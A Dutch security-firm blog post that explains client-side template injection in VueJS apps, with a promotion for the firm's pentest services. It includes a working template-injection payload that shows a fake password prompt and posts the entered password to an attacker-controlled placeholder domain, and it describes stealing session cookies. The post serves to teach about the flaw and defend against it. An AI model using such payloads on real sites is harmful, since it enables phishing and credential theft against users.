Wat is Client-Side Template Injection (CSTI)?

Tijdens onze werkzaamheden komen wij enorm veel kwetsbaarheden tegen. Bij Tozetta vinden we het enorm belangrijk om onze kennis en expertise ook te delen. In dit blog vertellen wij meer over een Client-Side Template Injection (CSTI). Met deze kennisblog hopen wij jullie verder te helpen in de wereld van hacking en cyber security. Wil jij continu op de hoogte blijven van de laatste security updates? Schrijf je dan in voor onze wekelijkse Vulnerability Update

Wat is Client-Side Template Injectie (CSTI)?

Client-Side Template Injectie (CSTI) is een kwetsbaarheid die optreedt wanneer een webapplicatie gebruikersinvoer in client-side templates ‘rendered’ zonder de nodige beveiligingsmaatregelen te treffen. Deze kwetsbaarheid kan worden misbruikt om kwaadaardige code in de webpagina van een gebruiker te injecteren, wat kan leiden tot verschillende schadelijke activiteiten zoals het stelen van sessiecookies en het uitvoeren van onbedoelde acties namens de gebruiker.

Hoe werkt CSTI?

Moderne webtoepassingen maken vaak gebruik van templates om dynamische inhoud op webpagina’s weer te geven. Frameworks zoals AngularJS, VueJS en Mavo en andere JavaScript-templates worden gebruikt om deze inhoud te genereren. Wanneer input direct in deze templates wordt verwerkt zonder de juiste validatie of sanitizing, kunnen malafide gebruikers deze kwetsbaarheid exploiteren door bepaalde code te injecteren die door de browser van de gebruiker worden uitgevoerd.

Als malafide gebruiker kun je in dit geval eerst XSS-payloads proberen. Zoals we in onderstaand voorbeeld zien, wordt de errorpagina getoond zodra het profiel wordt opgeslagen en een WAF een regel heeft ingesteld waarbij bepaalde karakters worden gebruikt.

script alert

Zodra en een XSS payload als deze wordt ingevoerd kun je onderstaande error te zien krijgen.

In dit voorbeeld wordt op de webapp ook VueJS gebruikt. We zouden dus CSTI kunnen proberen. Zodra wij {{}} als input geven, zien we dat we geen errorpagina krijgen.

Zodra wij onze allereerste payload proberen krijgen we direct een pop-up. We hebben zojuist een POC payload gebruikt om CSTI te krijgen.

Wat is het risico van CSTI?

Heel leuk zo’n alert(1) popup, maar wat nu?

Het is mogelijk om bijvoorbeeld cookies te stelen door in Javascript document.cookie te plakken en dit naar een webserver te sturen die wij zelf controleren. Hiervoor zou httponly uit moeten staan. In dit geval stond het aan en konden we niet bij de session cookies. We zouden in dit geval een popup kunnen maken waarbij de gebruiker gevraagd wordt om zijn / haar wachtwoord in te voeren. Dat zouden we kunnen doen met een payload als onderstaande:

				
					{{constructor.constructor("fetch('https://<CONTROLLED_DOMAIN>/password', { method: 'POST', body: JSON.stringify({ password: prompt('Voer je wachtwoord in om door te gaan:') }) })")()}}
				
			
payload ww invullen

Zodra deze payload naar de server wordt gestuurd, zien we dat het ingevoerde wachtwoord op onze gecontroleerde server binnen komt. Dit wachtwoord zou later weer voor malafide doeleinden gebruikt kunnen worden door cybercriminelen.

CSTI server

Wil je een CSTI zelf proberen? Check het hier

Op de hoogte blijven van de laatste kwetsbaarheden?

Dagelijks worden er 50+ kwetsbaarheden toegevoegd aan de Common Vulnerabilities and Exposures database (CVE’s).  Het is bijna onmogelijk om zelfstandig up-to-date te blijven over al deze kwetsbaarheden. Toch proberen wij bij Tozetta structureel kwetsbaarheden in jullie software en systemen inzichtelijk te maken. Wij bieden kosteloos onze wekelijkste Vulnerability Update waar wij wekelijks dit soort artikelen delen. 

Maar wil je meer weten over het structureel inzichtelijk maken van kwetsbaarheden in software en systemen, lees dan meer over onze Hacking as a Service oplossing. Naast het regelmatig pentest bieden wij ook een security monitoring tool die dagelijks jullie webapplicaties en/of interne netwerk scant op deze talloze CVE’s. 

Of meer lezen over Hacking as a Service >>

Kosteloos 1 uur pentesten?

Bij Tozetta kun je vrijblijvend een Pentest Quickscan aanvragen. Tijdens de Quickscan gaat een ethisch hacker kosteloos één uur een pentest uitvoeren. In dit uur maakt de ethisch hacker het aanvalsoppervlak inzichtelijk. Op basis hiervan kan een  urenindicatie voor jullie vraagstuk worden bepaald en krijgen jullie inzicht in de mogelijke pentest kosten. Interesse in een pentest uitvoeren? Vul vrijblijvend onderstaand formulier in!

Vraag een Quickscan aan

Visuele weergaven van een pentest rapport bij Tozetta Cyber Security